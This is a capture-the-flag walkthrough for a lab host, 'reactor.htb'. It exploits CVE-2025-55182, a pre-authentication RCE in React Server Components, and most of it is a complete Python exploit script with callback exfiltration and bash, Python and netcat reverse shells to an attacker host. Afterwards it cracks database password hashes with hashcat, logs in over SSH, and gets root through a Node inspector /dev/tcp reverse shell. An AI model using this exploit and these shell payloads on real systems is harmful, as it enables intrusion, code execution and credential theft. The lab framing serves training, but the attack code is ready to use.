Command: nmap reactor.htb

Command: nmap -p22,3000 10.82.82.82 -sV

Command: whatweb http://reactor.htb
After the vulnerability (CVE-2025-55182) in node.js 15.0.3 is identified: –
| CVE-2025-55182 DetailDescriptionA pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints. |
We can get the poc from te following link: https://github.com/p3ta00/react2shell-poc/blob/master/, or you can use the following script:
#!/usr/bin/env python3
"""
CVE-2025-55182 - React2Shell Proof of Concept
Remote Code Execution via React Server Components Flight Protocol
Vulnerability: Prototype pollution in RSC Flight payload deserialization
leads to arbitrary code execution via child_process.execSync
Affected:
- React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- Next.js: 15.0.0 - 15.0.4, 15.1.0 - 15.1.8, etc.
Author: SecurityWalay
Date: 2025-12-20
DISCLAIMER: For authorized security testing only.
"""
import argparse
import requests
import json
import sys
import time
import re
import urllib3
import socket
import threading
import http.server
import socketserver
from urllib.parse import urljoin, urlparse, parse_qs, unquote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Colors:
# SecurityWalay Theme - Custom Cyan #10A6C0
RESET = '\033[0m'
BOLD = '\033[1m'
# Custom SecurityWalay cyan #10A6C0 (RGB: 16, 166, 192)
SW_CYAN = '\033[38;2;16;166;192m'
NEON_CYAN = '\033[38;2;16;166;192m'
DARK_CYAN = '\033[38;2;0;100;120m'
# Standard ANSI colors
CYAN = '\033[36m'
NEON_GREEN = '\033[92m'
NEON_RED = '\033[91m'
NEON_YELLOW = '\033[93m'
NEON_ORANGE = '\033[33m'
NEON_PINK = '\033[95m'
WHITE = '\033[97m'
GRAY = '\033[90m'
BLUE = '\033[34m'
# Aliases
GREEN = NEON_GREEN
RED = NEON_RED
YELLOW = NEON_YELLOW
MAGENTA = NEON_PINK
def banner():
print(f"""
{Colors.SW_CYAN} ____ ________ _______ __ _____ __ _______ {Colors.RESET}
{Colors.SW_CYAN} / ____|________| / \ \ / / // \\ | | \\ // //------\\ {Colors.RESET}
{Colors.SW_CYAN} | (___ | ______ / \ \ /\ / / // _ \\ | | \\ // // _ \\ {Colors.RESET}
{Colors.SW_CYAN} \___ \| |______| | \ \ //\\ / / // | | \\ | | || || // | | \\ {Colors.RESET}
{Colors.SW_CYAN} ____) | _______ \ \ \ // \\ / / // | | \\ | |____ || || // | | \\ {Colors.RESET}
{Colors.SW_CYAN} |_____/|________| \________ \_\// \\_/_/ // |_| \\ |_______| ||__|| // |_| \\ {Colors.RESET}
{Colors.SW_CYAN} ----------------------------------------------------------------------------------------------------------{Colors.RESET}
{Colors.SW_CYAN} {Colors.RESET}
{Colors.GRAY}โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Colors.RESET}
{Colors.SW_CYAN}CVE-2025-55182 - React Server Components RCE{Colors.RESET}
{Colors.NEON_YELLOW}Prototype Pollution โ Flight Protocol โ RCE{Colors.RESET}
{Colors.NEON_RED}For authorized security testing only{Colors.RESET}
{Colors.GRAY}โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ{Colors.RESET}
{Colors.NEON_GREEN}Author: SecurityWalay{Colors.RESET} | {Colors.SW_CYAN}Version: 1.0{Colors.RESET}
""")
def log_info(msg):
print(f"{Colors.SW_CYAN}[*]{Colors.RESET} {msg}")
def log_success(msg):
print(f"{Colors.NEON_GREEN}[+]{Colors.RESET} {msg}")
def log_error(msg):
print(f"{Colors.NEON_RED}[-]{Colors.RESET} {msg}")
def log_warning(msg):
print(f"{Colors.NEON_ORANGE}[!]{Colors.RESET} {msg}")
def log_output(msg):
print(f"{Colors.SW_CYAN}{'โ' * 60}{Colors.RESET}")
print(msg)
print(f"{Colors.SW_CYAN}{'โ' * 60}{Colors.RESET}")
def build_rce_payload(command, exfil=False):
"""
Build the malicious Flight protocol payload.
The exploit works by:
1. Creating a fake "Chunk" object with a custom `then` method
2. When React deserializes, it treats this as a Promise
3. Promise resolution calls our `then` method
4. We gain control of the internal `_response` object
5. Modify it to call child_process.execSync with our command
Key payload components:
- "then": "$1:__proto__:then" - Traverses prototype chain
- "_response._prefix" - Injected code that gets executed
- "_formData.get": "$1:constructor:constructor" - Gets Function constructor
Error-based exfiltration (exfil=True):
- Uses NEXT_REDIRECT error to return command output in digest field
- Output appears directly in HTTP response - no callback required
"""
# Embed command as a JavaScript string literal. Manual quote escaping breaks
# easily for shell-heavy commands, while JSON string syntax is valid JS.
cmd_literal = json.dumps(command)
if exfil:
# Error-based exfiltration - output returned in digest field
prefix_code = (
f"var res = process.mainModule.require('child_process')"
f".execSync({cmd_literal},{{timeout:5000}}).toString().trim(); "
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
)
else:
# Blind RCE - no output returned
prefix_code = f"process.mainModule.require('child_process').execSync({cmd_literal});"
payload = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": prefix_code,
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
return json.dumps(payload)
def build_exfil_payload(command, callback_url):
"""
Build payload that exfiltrates command output to attacker server.
(Legacy method - prefer error-based exfiltration)
"""
escaped_cmd = command.replace('\\', '\\\\').replace('"', '\\"').replace("'", "\\'")
exfil_code = f"""
const cp = process.mainModule.require('child_process');
const output = cp.execSync('{escaped_cmd}').toString();
const http = process.mainModule.require('http');
const url = new URL('{callback_url}');
const req = http.request({{
hostname: url.hostname,
port: url.port || 80,
path: '/?data=' + encodeURIComponent(output),
method: 'GET'
}});
req.end();
""".replace('\n', ' ').strip()
payload = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": exfil_code,
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
return json.dumps(payload)
def parse_digest_from_response(response_text):
"""
Parse command output from NEXT_REDIRECT error digest in response.
Response format:
0:{"a":"$@1","f":"","b":"xxx"}
1:E{"digest":"COMMAND_OUTPUT_HERE"}
Returns the digest value (command output) or None if not found.
"""
# Look for digest in error response format
# Pattern matches: "digest":"..." or "digest":`...`
patterns = [
r'"digest":"([^"]*)"', # Double-quoted digest
r'"digest":`([^`]*)`', # Backtick-quoted digest
r'"digest":"(.*?)"', # Greedy match
r'E\{"digest":"([^}]+)"\}', # Full error block
]
for pattern in patterns:
match = re.search(pattern, response_text)
if match:
digest = match.group(1)
# Skip numeric digests (error codes, not command output)
if not digest.isdigit():
return digest
return None
def send_payload(target, payload, timeout=30):
"""
Send the malicious payload to the target.
The payload is sent as multipart form data with:
- Field "0": The malicious JSON payload
- Field "1": Reference marker "$@0" (must include $ prefix)
- Header "Next-Action": Required for Server Action handling
Returns: (success, response, url, method)
"""
headers = {
'Next-Action': 'x', # Any value works
'Accept': 'text/x-component',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
# Correct format from official PoC - note "$@0" not just "@0"
files = {
'0': (None, payload),
'1': (None, '"$@0"'),
}
url = target.rstrip('/')
try:
resp = requests.post(
url,
files=files,
headers=headers,
timeout=timeout,
verify=False,
allow_redirects=False
)
# 500 error with response indicates code execution
if resp.status_code == 500:
return True, resp, url, 'multipart'
# 200/202/204 also indicate success
if resp.status_code in [200, 202, 204]:
return True, resp, url, 'multipart'
return False, resp, url, 'multipart'
except requests.exceptions.Timeout:
# Timeout could mean command is executing
return True, None, url, 'multipart'
except requests.exceptions.ConnectionError as e:
return False, None, url, str(e)
except Exception as e:
return False, None, url, str(e)
def exploit_error_exfil(target, command, timeout=30):
"""
Execute command and capture output using error-based exfiltration.
This is the most reliable method - output is returned directly in the
HTTP response via NEXT_REDIRECT error digest field.
No callback server required. Works even when target cannot make
outbound connections.
Returns: (success, output)
"""
log_info(f"Target: {target}")
log_info(f"Command: {command}")
# Build payload with error-based exfiltration
payload = build_rce_payload(command, exfil=True)
log_info(f"Payload size: {len(payload)} bytes")
log_info("Sending error-exfil payload...")
success, resp, url, method = send_payload(target, payload, timeout)
if not success:
log_error("Failed to deliver payload")
return False, None
log_success(f"Payload delivered to {url}")
if resp is None:
log_warning("No response received (timeout)")
return True, None
log_info(f"Response status: {resp.status_code}")
# Parse command output from digest
output = parse_digest_from_response(resp.text)
if output:
log_success("Command output extracted from response!")
return True, output
else:
log_warning("Could not parse output from response")
if resp.text:
log_info(f"Raw response: {resp.text[:500]}")
return True, None
def check_vulnerability(target):
"""
Check if target appears to be running vulnerable Next.js/React.
"""
log_info(f"Checking target: {target}")
try:
resp = requests.get(target, timeout=10, verify=False)
# Check headers
powered_by = resp.headers.get('x-powered-by', '').lower()
if 'next' in powered_by:
log_success("Target is running Next.js")
# Check for RSC indicators in HTML
if '__next' in resp.text or 'next/dist' in resp.text:
log_success("Next.js application detected")
# Try API endpoint if it exists
try:
api_resp = requests.get(urljoin(target, '/api/test'), timeout=5, verify=False)
if api_resp.status_code == 200:
try:
data = api_resp.json()
if data.get('vulnerable'):
log_success(f"Confirmed vulnerable: Next.js {data.get('nextjs')}, React {data.get('react')}")
return True
except:
pass
except:
pass
log_warning("Could not confirm vulnerability status - proceeding anyway")
return True
except Exception as e:
log_error(f"Error checking target: {e}")
return False
def exploit_rce(target, command, verify_file=None):
"""
Execute command on target via CVE-2025-55182.
"""
log_info(f"Target: {target}")
log_info(f"Command: {command}")
# Build payload
payload = build_rce_payload(command)
log_info(f"Payload size: {len(payload)} bytes")
# Send payload
log_info("Sending malicious Flight payload...")
success, resp, url, method = send_payload(target, payload)
if success:
log_success(f"Payload delivered via {method} to {url}")
if resp:
log_info(f"Response status: {resp.status_code}")
if verify_file:
log_info(f"Verify exploitation by checking: {verify_file}")
return True
else:
log_error("Failed to deliver payload")
return False
def exploit_with_output(target, command, lhost, lport, timeout=10):
"""
Execute command and capture output using built-in callback server.
"""
global captured_output
captured_output = None
output_received.clear()
# Start callback server
log_info(f"Starting callback server on {lhost}:{lport}")
try:
server = start_callback_server(lport)
except OSError as e:
log_error(f"Failed to start callback server: {e}")
log_warning("Port may be in use. Try a different port with --listen-port")
return None
callback_url = f"http://{lhost}:{lport}"
log_info(f"Callback URL: {callback_url}")
# Build and send exfiltration payload
log_info(f"Command: {command}")
payload = build_exfil_payload(command, callback_url)
log_info(f"Payload size: {len(payload)} bytes")
log_info("Sending exfiltration payload...")
success, resp, url, method = send_payload(target, payload)
if not success:
log_error("Failed to deliver payload")
server.shutdown()
return None
log_success(f"Payload delivered via {method} to {url}")
# Wait for callback
log_info(f"Waiting for callback (timeout: {timeout}s)...")
if output_received.wait(timeout=timeout):
log_success("Output received!")
server.shutdown()
return captured_output
else:
log_error("Timeout waiting for callback")
log_warning("Target may not be able to reach your callback server")
server.shutdown()
return None
def exploit_reverse_shell(target, lhost, lport):
"""
Attempt to establish a reverse shell.
"""
log_warning(f"Attempting reverse shell to {lhost}:{lport}")
log_warning("Ensure your listener is running!")
# Various reverse shell payloads
shells = [
# Bash
f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'",
# Python
f"python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'",
# Node.js native
f"node -e 'require(\"child_process\").spawn(\"/bin/bash\",[\"-c\",\"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"])'",
# Netcat
f"nc {lhost} {lport} -e /bin/bash",
]
for i, shell in enumerate(shells, 1):
log_info(f"Trying shell payload {i}/{len(shells)}...")
if exploit_rce(target, shell):
log_success("Reverse shell payload sent!")
log_info("Check your listener for incoming connection")
return True
time.sleep(1)
return False
def interactive_mode(target, use_callback=False, lhost=None, lport=9999):
"""
Interactive shell-like mode for executing commands.
Uses error-based exfiltration by default (no callback needed).
"""
log_success("Entering interactive mode")
log_info("Type 'exit' or 'quit' to exit")
if use_callback:
log_info(f"Using callback server at {lhost}:{lport}")
else:
log_info("Using error-based exfiltration (output in response)")
print()
while True:
try:
cmd = input(f"{Colors.NEON_PINK}react2shell{Colors.RESET}> ").strip()
if not cmd:
continue
if cmd.lower() in ['exit', 'quit', 'q']:
log_info("Exiting interactive mode")
break
# Execute command and get output
if use_callback and lhost:
output = exploit_with_output(target, cmd, lhost, lport)
else:
success, output = exploit_error_exfil(target, cmd)
if output:
log_output(output)
print()
except KeyboardInterrupt:
print()
log_info("Exiting interactive mode")
break
except EOFError:
break
def main():
parser = argparse.ArgumentParser(
description='CVE-2025-55182 React2Shell PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Execute command with output (error-based exfil - default, most reliable)
python3 react2shell-poc.py -t http://target:3000 -c "id"
python3 react2shell-poc.py -t http://target:3000 -c "cat /etc/passwd"
# Interactive mode (pseudo-shell with output)
python3 react2shell-poc.py -t http://target:3000 --interactive
# Blind RCE (no output, use --blind flag)
python3 react2shell-poc.py -t http://target:3000 -c "touch /tmp/pwned" --blind
# Check if target is vulnerable
python3 react2shell-poc.py -t http://target:3000 --check
# Legacy: callback-based exfiltration (requires network access from target)
python3 react2shell-poc.py -t http://target:3000 -c "id" --callback http://ATTACKER:8000
python3 react2shell-poc.py -t http://target:3000 -c "id" --listen --lhost 10.10.10.10
# Reverse shell
python3 react2shell-poc.py -t http://target:3000 --revshell --lhost 10.10.10.10 --lport 4444
"""
)
parser.add_argument('-t', '--target', required=True,
help='Target URL (e.g., http://target:3000)')
parser.add_argument('-c', '--command',
help='Command to execute (output returned via error-based exfil)')
parser.add_argument('--check', action='store_true',
help='Only check if target is vulnerable')
parser.add_argument('--blind', action='store_true',
help='Blind RCE mode (no output capture)')
parser.add_argument('--listen', action='store_true',
help='Use callback server instead of error-based exfil')
parser.add_argument('--interactive', '-i', action='store_true',
help='Interactive mode (pseudo-shell with output)')
parser.add_argument('--revshell', action='store_true',
help='Attempt reverse shell')
parser.add_argument('--lhost',
help='Attacker IP for callback/reverse shell (auto-detected if not set)')
parser.add_argument('--lport', type=int, default=9999,
help='Attacker port for callback server (default: 9999)')
parser.add_argument('--callback',
help='Manual callback URL for exfiltration')
parser.add_argument('--timeout', type=int, default=30,
help='Request timeout in seconds (default: 30)')
parser.add_argument('-v', '--verbose', action='store_true',
help='Verbose output')
args = parser.parse_args()
banner()
# Normalize target URL
target = args.target
if not target.startswith('http'):
target = f'http://{target}'
target = target.rstrip('/')
# Auto-detect lhost if not specified
lhost = args.lhost or get_local_ip()
lport = args.lport
# Check vulnerability
if not check_vulnerability(target):
log_error("Target check failed")
sys.exit(1)
if args.check:
log_success("Vulnerability check complete")
sys.exit(0)
# Interactive mode
if args.interactive:
use_callback = args.listen or args.lhost
interactive_mode(target, use_callback=use_callback, lhost=lhost, lport=lport)
sys.exit(0)
# Reverse shell mode
if args.revshell:
if not args.lhost:
log_error("--revshell requires --lhost")
sys.exit(1)
exploit_reverse_shell(target, args.lhost, lport)
sys.exit(0)
# Command execution
if args.command:
# Manual callback URL
if args.callback:
log_info(f"Using manual callback: {args.callback}")
payload = build_exfil_payload(args.command, args.callback)
success, resp, url, method = send_payload(target, payload, args.timeout)
if success:
log_success("Exfil payload sent - check your callback server")
sys.exit(0)
# Built-in listener mode (legacy callback-based)
if args.listen:
if not args.lhost:
log_info(f"Auto-detected local IP: {lhost}")
output = exploit_with_output(target, args.command, lhost, lport, args.timeout)
if output:
print()
log_success("Command output:")
log_output(output)
sys.exit(0)
# Blind RCE (no output)
if args.blind:
log_info("Blind RCE mode - no output will be returned")
exploit_rce(target, args.command)
sys.exit(0)
# Default: Error-based exfiltration (most reliable)
success, output = exploit_error_exfil(target, args.command, args.timeout)
if output:
print()
log_success("Command output:")
log_output(output)
sys.exit(0)
# No command specified - show help
parser.print_help()
print()
log_info("Specify -c COMMAND to execute a command")
if __name__ == '__main__':
main()
Command: nano a.py and paste the above script.

Command: python3 a.py -t http://10.8.88.88:3000 –revshell –lhost 10.10.10.10 –lport 4444

Command: nc -lvnp 3333 and then check your listener

Command: ls

Command: python3 -m http.server

Command: curl http://10.80.80.80:6000/reactor.db -o tera.db

Command: sqlite3 reactor.db

Command: SELECT * FROM users;

Command: echo “89765789765789076543456789876567 > hash.txt, echo “98765432456789765435678765435678” >> hash.txt

Command: hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Command: hashcat –show -m 0 hash.txt

Command: ssh engineer@10.85.85.85, when asked for password enter the following: re******1

Command: ls, cat user.txt

Root Flag
while doing reconnaissance, noticed the following:

Command: node inspect 127.0.0.1:9229

Command: nc -lvnp 5555

Command:exec(“process.mainModule.require(‘child_process’).execSync(‘bash -c -i >& /dev/tcp/10.20.20.20/5555 0>&1\”‘).toString()”)

Now you should have received shell, as below:

Command: cd root

Command: cat root.txt




Leave a Reply